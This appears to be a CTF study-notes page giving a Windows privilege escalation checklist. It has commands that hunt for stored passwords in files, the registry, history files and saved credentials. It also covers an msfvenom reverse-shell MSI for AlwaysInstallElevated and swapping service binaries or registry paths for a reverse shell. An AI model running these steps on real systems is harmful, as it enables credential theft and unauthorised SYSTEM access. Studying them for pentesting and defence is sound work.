> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/priv-esc/windows-privilege-escalation/windows-privilege-escalation-checklist.md).

# Windows Privilege Escalation Checklist

## Checklist for Windows

### Access and Permission Checks

<details>

<summary>Check user access, privileges and groups</summary>

Check user privileges

```batch
whoami /priv
```

Check user groups

```batch
whoami /groups
```

Check everything (likely overkill)

```batch
whoami /all
```

</details>

### Credential Checks

Most of these checks can be run with `winPEAS.exe windowscreds`.&#x20;

<details>

<summary>Search for credentials in files in general</summary>

Search for `password` in various configuration files from the current directory and recursively

```batch
findstr /SI /C:"password" *.ini *.cfg *.config *.xml *.txt
```

Also check for config files with possible credentials

* `C:\Unattend.xml`
* `C:\Windows\Panther\Unattend.xml`
* `C:\Windows\Panther\Unattend\Unattend.xml`
* `C:\Windows\system32\sysprep.inf`
* `C:\Windows\system32\sysprep\sysprep.xml`

</details>

<details>

<summary>Search for passwords in the registry</summary>

Search for passwords stored in the registry

```bat
reg query HKLM /f "password" /t REG_SZ /s
```

```bat
reg query HKCU /f "password" /t REG_SZ /s
```

</details>

<details>

<summary>Check for PowerShell history files</summary>

Search for all users history files

```bat
where.exe /T /R C:\Users ConsoleHost_history.txt
```

Check current user's history file from cmd.exe prompt

```bat
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

Check current user's history file from PowerShell prompt

```powershell
Get-Content $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

To check the history file location configuration from PowerShell

```powershell
(Get-PSReadlineOption).HistorySavePath
```

</details>

<details>

<summary>Check for saved Windows credentials</summary>

Windows allows us to use other users' credentials. This function also gives the option to save these credentials on the system.&#x20;

To list saved credentials:

```bat
cmdkey /list
```

While you can't see the actual passwords, if you notice any credentials worth trying, you can use them with the `runas` command and the `/savecred` option, as seen below.

```bat
runas /savecred /user:admin cmd.exe
```

</details>

<details>

<summary>Check for IIS configuration with credentials</summary>

Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called `web.config` and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find `web.config` in one of the following locations:

* C:\inetpub\wwwroot\web.config
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

To search for credentials

```bat
type C:\inetpub\wwwroot\web.config | findstr connectionString
```

and

```bat
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
```

</details>

<details>

<summary>Check for credentials stored in applications</summary>

**PuTTY** network client can store credentials in the registry

```bat
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
```

</details>

<details>

<summary>Check for password manager databases</summary>

Check for KeePass database files (`*.kdbx`)

```powershell
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
```

</details>

### Registry Checks

<details>

<summary>Check AlwaysInstallElevated registry value</summary>

The [AlwaysInstallElevated](https://learn.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated) registry keys allow you to install MSI-packages with SYSTEM-privileges.

Check if both of these values are set to "1"

```bat
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Create reverse shell as a MSI-package

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=12345 -f msi -o reverse.msi
```

Install the package

```bat
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
```

</details>

### Services Checks

Most of these checks can be run with `winPEAS.exe servicesinfo`.&#x20;

<details>

<summary>Check for writable service binaries</summary>

Check for **writable** binaries running as services with elevated privileges

```bat
accesschk.exe -quvw "C:\Program Files\Path\To\service_binary.exe"
```

Replace the service binary with your reverse shell

```bat
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Path\To\service_binary.exe"
```

(Re)start the service if needed

```bat
net.exe stop <service_name>
net.exe start <service_name>
```

We can also use [Get-ModifiableServiceFile](https://powersploit.readthedocs.io/en/latest/Privesc/Get-ModifiableServiceFile/) from [PowerUp](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) ([PowerSploit](https://powersploit.readthedocs.io/en/latest/))

</details>

<details>

<summary>Check for services with unquoted paths</summary>

If the service path contains spaces and is not enclosed within quotation marks, it can be interpreted in various ways because it is unclear to the [*CreateProcess*](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa) function where the file name ends and the arguments begin. To determine this, the function starts interpreting the path from left to right until a space is reached. For every space in the file path, the function uses the preceding part as file name by adding **.exe** and the rest as arguments.

As an example with the unquoted service binary path **C:\Program Files\My Program\My Service\service.exe**. When Windows starts the service, it will use the following order to try to start the executable file due to the spaces in the path.

```
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
```

Search for unquoted service paths from **cmd.exe**:

```bat
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """
```

We can also use [Get-UnquotedService](https://powersploit.readthedocs.io/en/latest/Privesc/Get-UnquotedService/) from [PowerUp](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) ([PowerSploit](https://powersploit.readthedocs.io/en/latest/))

</details>

<details>

<summary>Check for services with weak registry permissions</summary>

Check for services where you have **writable** permissions in the registry

```bat
accesschk.exe -k HKLM\System\CurrentControlSet\Services\<service_name> -uvwq
```

Change the service binary to your reverse shell

```bat
reg.exe add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
```

(Re)start the service if needed

```bat
net.exe stop <service_name>
net.exe start <service_name>
```

We can also use [Get-ModifiableService](https://powersploit.readthedocs.io/en/latest/Privesc/Get-ModifiableService/) from [PowerUp](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) ([PowerSploit](https://powersploit.readthedocs.io/en/latest/))

</details>

### Scheduled Tasks Checks

<details>

<summary>Check for Non-standard Authors</summary>

```powershell
Get-ScheduledTask | Where-Object {$_.Author -notlike "Microsoft*" -and $_.Author -ne $null -and $_.Author -notlike "*SystemRoot*"} | Select-Object * | Format-List
```

</details>

<details>

<summary>Check for Non-Microsoft Task Paths</summary>

```powershell
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft\*"} | Select-Object * | Format-List
```

</details>

<details>

<summary>Get Detailed Information on a Task</summary>

To get detailed information about a task with a specified taskname

```bat
schtasks /query /fo LIST /v /tn "<task_name>"
```

</details>

### Miscellaneous Checks

<details>

<summary>Check Installed programs</summary>

Check installed 32-bit programs from the registry

```powershell
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
```

Check installed 64-bit programs from the registry

```powershell
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
```

Check installed 32-bit programs from the file system

```bat
dir "C:\Program Files (x86)"
```

Check installed 64-bit programs from the file system

```bat
dir "C:\Program Files" 
```

Check users download folder

```bat
dir C:\Users\%username%\Downloads
```

</details>

<details>

<summary>Check for backup files or directories</summary>

```bat
cd C:\ && dir backup* /s /a:d /b
```

```bat
where /R C:\ backup*
```

</details>

<details>

<summary>Check for user-related documents</summary>

Check for user-related documents in their home directory

```powershell
Get-ChildItem -Path $Env:userprofile -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
```

</details>

## World Writable Dirctories

World-writable directories in `%windir%` from [mattifestation](https://gist.github.com/mattifestation/5f9de750470c9e0e1f9c9c33f0ec3e56)

* c:\windows\system32\microsoft\crypto\rsa\machinekeys
* c:\windows\system32\tasks\_migrated\microsoft\windows\pla\system
* c:\windows\syswow64\tasks\microsoft\windows\pla\system
* c:\windows\debug\wia
* c:\windows\system32\tasks
* c:\windows\syswow64\tasks
* c:\windows\tasks
* c:\windows\registration\crmlog
* c:\windows\system32\com\dmp
* c:\windows\system32\fxstmp
* c:\windows\system32\spool\drivers\color
* c:\windows\system32\spool\printers
* c:\windows\system32\spool\servers
* c:\windows\syswow64\com\dmp
* c:\windows\syswow64\fxstmp
* c:\windows\temp
* c:\windows\tracing

## Resources

Checklist - Local Windows Privilege Escalation - HackTricks: <https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html>

cmdkey - Microsoft Learn: <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey>

findstr - Microsoft Learn: <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/findstr>

Potatoes - Windows Privilege Escalation: <https://jlajara.gitlab.io/Potatoes_Windows_Privesc>

SharpUp Cheat Sheet - 1337Skills: <https://1337skills.com/cheatsheets/sharpup/>

runas - Microsoft Learn: <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc771525(v=ws.11)>

where - Microsoft Learn: <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/where>

whoami - Microsoft Learn: <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami>

Windows - Privilege Escalation - Internal All The Things: <https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/>

Windows Local Privilege Escalation - HackTricks: <https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html>
